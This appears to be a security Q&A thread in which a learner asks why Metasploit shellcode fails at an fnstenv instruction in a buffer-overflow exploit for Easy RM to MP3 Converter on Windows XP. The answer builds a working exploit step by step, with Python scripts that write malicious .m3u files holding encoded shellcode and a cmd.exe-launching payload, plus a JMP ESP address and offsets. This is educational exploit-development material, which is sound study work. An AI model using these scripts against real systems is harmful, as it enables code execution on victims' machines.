1

I am going through an introductory tutorial on writing exploits, which can be found here. The tutorial goes over a simple stack based buffer overflow vulnerability in the Easy RM to MP3 Conversion Utility. I had the basic PoC working (although, I found a different offset to overwrite EIP than the author even though I used the same version). In other words, I was able to take control over EIP and have it jump into a nopsled before the shellcode, and the test shellcode containing only a break instruction worked perfectly fine. However, I seem to be running into issues when using real shellcode generated with metasploit (as shown on the tutorial). Here is the Python script I wrote while following the tutorial (I didn't want to use Perl...):

from struct import pack

filename = "sploit.m3u"
junk = "A" * 26073
eip = pack("I", 0x7C86467B) # jmp esp
nop = "\x90"

preshell = "X" * 4

shellcode = nop*25
shellcode += "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode += "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode += "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode += "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode += "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode += "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode += "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode += "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode += "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode += "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode += "\x7f\xe8\x7b\xca"

payload = junk + eip + preshell + shellcode

with open(filename, "wb") as file:
    file.write(payload)

Here is what Windbg shows after the shellcode crashes (note that the jmp esp worked perfectly fine and that the exception occurred inside the shellcode):

enter image description here

After looking at the debugger, it seems that the problem is with the fnstenv instruction, which appears toward the beginning of the shellcode. From what I've found in this Phrack article, fnstenv is used as a way of getting EIP popping it off the stack into a register:

Another interesting mechanism being use to obtain the EIP is to make use of a few special FPU instructions. This was implemented by Aaron Adams in Vuln-Dev mailing list in the discussion to create pure ASCII shellcode. The code uses fnstenv/fstenv instructions to save the state of the FPU environment.

fldz

fnstenv [esp-12]

pop ecx

add cl, 10

nop

ECX will hold the address of the EIP. However, these instructions will generate non-standard ASCII characters.

It seems like this is necessary/useful in order to decode the encoded shellcode. However, the address that gets popped from the stack after the fnstenv call always turns out to be NULL (0x00000000), and then the shellcode subsequently crashes. I even tried this exploit/shellcode on another Windows XP VM that I had (though I didn't originally set it up myself) and noticed the same result happening.

My question is simply, why is this happening? What would cause the fnstenv instruction to fail, resulting in a NULL address instead of EIP's address? Is there some setting I need to change (perhaps something with Virtualbox's hardware settings for the VM?) that is preventing this from working correctly?

2

Let's reverse engineer what happened:

  • Access violation because you try to access 0x00000018
  • Because POP EAX loads register zero
  • It supposed to be FPULastInstructionOpcode according to this x86 instruction set reference

But, look at your ESP value it is starting point of your shellcode. Why? Because you cannot write before that address. On the other hand you use [esp-0Ch] for storing FPU environment.

I tried to run your version and get different error:

first try

Also I tried Corelan version that didn't work either. As you can see things been more complicated in my version.

I can't debug your version of exploit, however I can show you step by step constructing exploit to this vulnerability. I'm using Easy RM to MP3 Converter 2.7.3.700 (setup 2.8 MiB) from this Exploit Database page on my Windows XP Professional SP3 Turkish. First, i created 30000 characters long Mona.py pattern. Attach RM2MP3Converter.exe to Immunity Debugger and loaded our crafted sploit.m3u file.

Program crash with mona pattern

Using Python script pattern.py we can find EIP offset now *:

C:\Documents and Settings\Administrator\Desktop>pattern.py offset 0x48386B48 30000
hex pattern decoded as: Hk8H
5784
26064

Lets look where ESP points in stack:

Follow ESP in stack

You can either use 0Hl1 or hex value:

C:\Documents and Settings\Administrator\Desktop>pattern.py offset 0x316C4830 30000
hex pattern decoded as: 0Hl1
5792
26072

Lets check our findings:

filename = "sploit.m3u"
junk = "A" * 26064
s_eip = "B" * 4
junk2 = "C" * 4
p_esp = "D" * 4

payload = junk + s_eip + junk2 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Crash values confirms our pre-exploit:

Analyzing pre-exploit

from struct import pack

filename = "sploit.m3u"
junk = "A" * 26064
s_eip = pack("I", 0x77fab277)
junk2 = "C" * 4
p_esp = "\xCC" * 4

payload = junk + s_eip + junk2 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Now we need to find JMP ESP in an executable segment. Use this Mona.py command:

!mona find -type instr -s "JMP ESP" -x X

Found lots of "JMP ESP"

from struct import pack

filename = "sploit.m3u"
junk1 = "B" * 4
junk2 = "A" * 26060
s_eip = pack("I", 0x77fab277)
junk3 = "C" * 4
p_esp = "\xCC" * 4

payload = junk1 + junk2 + s_eip + junk3 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Thanks to Mona.py we found lots of "jmp esp" in OS libraries. Pick first one at 0x77fab277 address.

000FFD38   CCCCCCCC  ÌÌÌÌ
000FFD3C   00000000  ....
000FFD40   00BC004C  L.¼.
000FFD44   00104A58  XJ.
000FFD48   00000000  ....
000FFD4C   00000000  ....
000FFD50   42424242  BBBB
000FFD54   41414141  AAAA
000FFD58   41414141  AAAA

It hits our interrupt sequence where ESP points out. With little bit more trick we can land our shellcode with additional ADD AH, CL

Nopsled and land on shellcode

This is our Python code:

from struct import pack

filename = "sploit.m3u"
junk1 = ""
junk2 = "\xCC" * 26064
s_eip = pack("I", 0x77fab277)
junk3 = "A" * 4
p_esp = "\x90" * 31

payload = junk1 + junk2 + s_eip + junk3 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

After a long debugging session we get:

We get cmd.exe

Python code:

from struct import pack

filename = "sploit.m3u"
junk1 = "F" * 2
junk1 += "B" * 8
junk1 += "\x90" * 20
shellcode = "\x8b\xec\x55\x8b\xec"
shellcode += "\x68\x65\x78\x65\x2F"
shellcode += "\x68\x63\x6d\x64\x2e"
shellcode += "\x8d\x45\xf8\x50\xb8"
shellcode += "\xc7\x93\xc1\x77"
shellcode += "\xff\xd0"
junk2 = "\xCC" * (26064-len(junk1)-len(shellcode))
s_eip = pack("I", 0x77fab277)
junk3 = "\x90" * 35

payload = junk1 + shellcode + junk2 + s_eip + junk3

with open(filename, "wb") as file:
    file.write(payload)

Different than Corelan and this Exploit-db version. You can find shellcode here.

  • We use double "F" to emulate a harmless instruction with remains of data in stack
  • Eight "B" is for remainder, it didn't seem like it is written in anywhere.
  • junk3 is written before shellcode you can use it jumping over data remains.

*Mona only finds first occurrence of sequence.

  • Thanks for the in depth reply! Oddly enough, I tried my script on a third XP VM (set up on a different computer but used the same XP ISO as the original VM I was on) and it worked perfectly with the original shell code. I'm still confused as to why my offset to overwriting EIP was different than yours and Corelan's, shouldn't that depend entirely on the binary? – saltthehash Apr 1 '17 at 19:55
  • Did you update any of them? Maybe different language or different OS libraries cause this. But, it is really interesting mostly I see this type of things in XP systems. – d36f Apr 1 '17 at 21:28
  • Same language settings and they came from the same ISO. I noticed the same behavior happen on the same physical machine with a different XP VM which I did not create, so I'm wondering if it has to do with the host hypervisor? Not sure though... maybe I should test that other VM on my laptop (where the XP VM worked ) – saltthehash Apr 2 '17 at 5:14

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.